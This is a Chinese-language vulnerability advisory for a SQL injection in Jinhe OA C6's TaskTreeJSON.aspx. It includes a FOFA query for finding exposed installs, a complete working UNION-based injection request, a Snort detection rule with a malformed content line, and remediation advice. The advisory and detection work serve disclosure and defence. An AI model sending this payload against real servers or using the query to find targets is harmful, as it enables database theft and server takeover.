

金和OA C6 TaskTreeJSON.aspx 存在SQL注入漏洞

金和OA C6 TaskTreeJSON.aspx 存在SQL注入漏洞，攻击者通过恶意SQL语句绕过验证，窃取、篡改或删除数据库敏感数据，甚至获取服务器控制权限，导致数据泄露、业务瘫痪或进一步渗透内网。

影响版本

金和OA C6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="金和网络-金和OA"

POC/EXP:

```
GET /C6/JHSoft.Web.DailyTaskManage/TaskTreeJSON.aspx/?
id=1%27+union+all+select+null%2C%28select+@@VERSION%29%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull--+ HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Jinhe OA C6 - SQL Injection in TaskTreeJSON.aspx (CVE-202X-XXXX)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:":"/C6/JHSoft.Web.DailyTaskManage/TaskTreeJSON.aspx/"; http_uri;
  content:"X-Requested-With: XMLHttpRequest"; http_header;
  pcre:"/id=[^&\s]*%27\s*\+\s*union\s*\+\s*all\s*\+\s*select/i";
  metadata:service http;
  metadata:affected_product "金和OA C6协同管理平台";
  metadata:attack_type "Union-Based SQL Injection";
  metadata:severity "critical";
  reference:url,www.example.com/vulnldb/jinhe-oa-sqli;
  classtype:sql-injection;
  sid:1000136;
  rev:1;
  priority:1;
)

```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。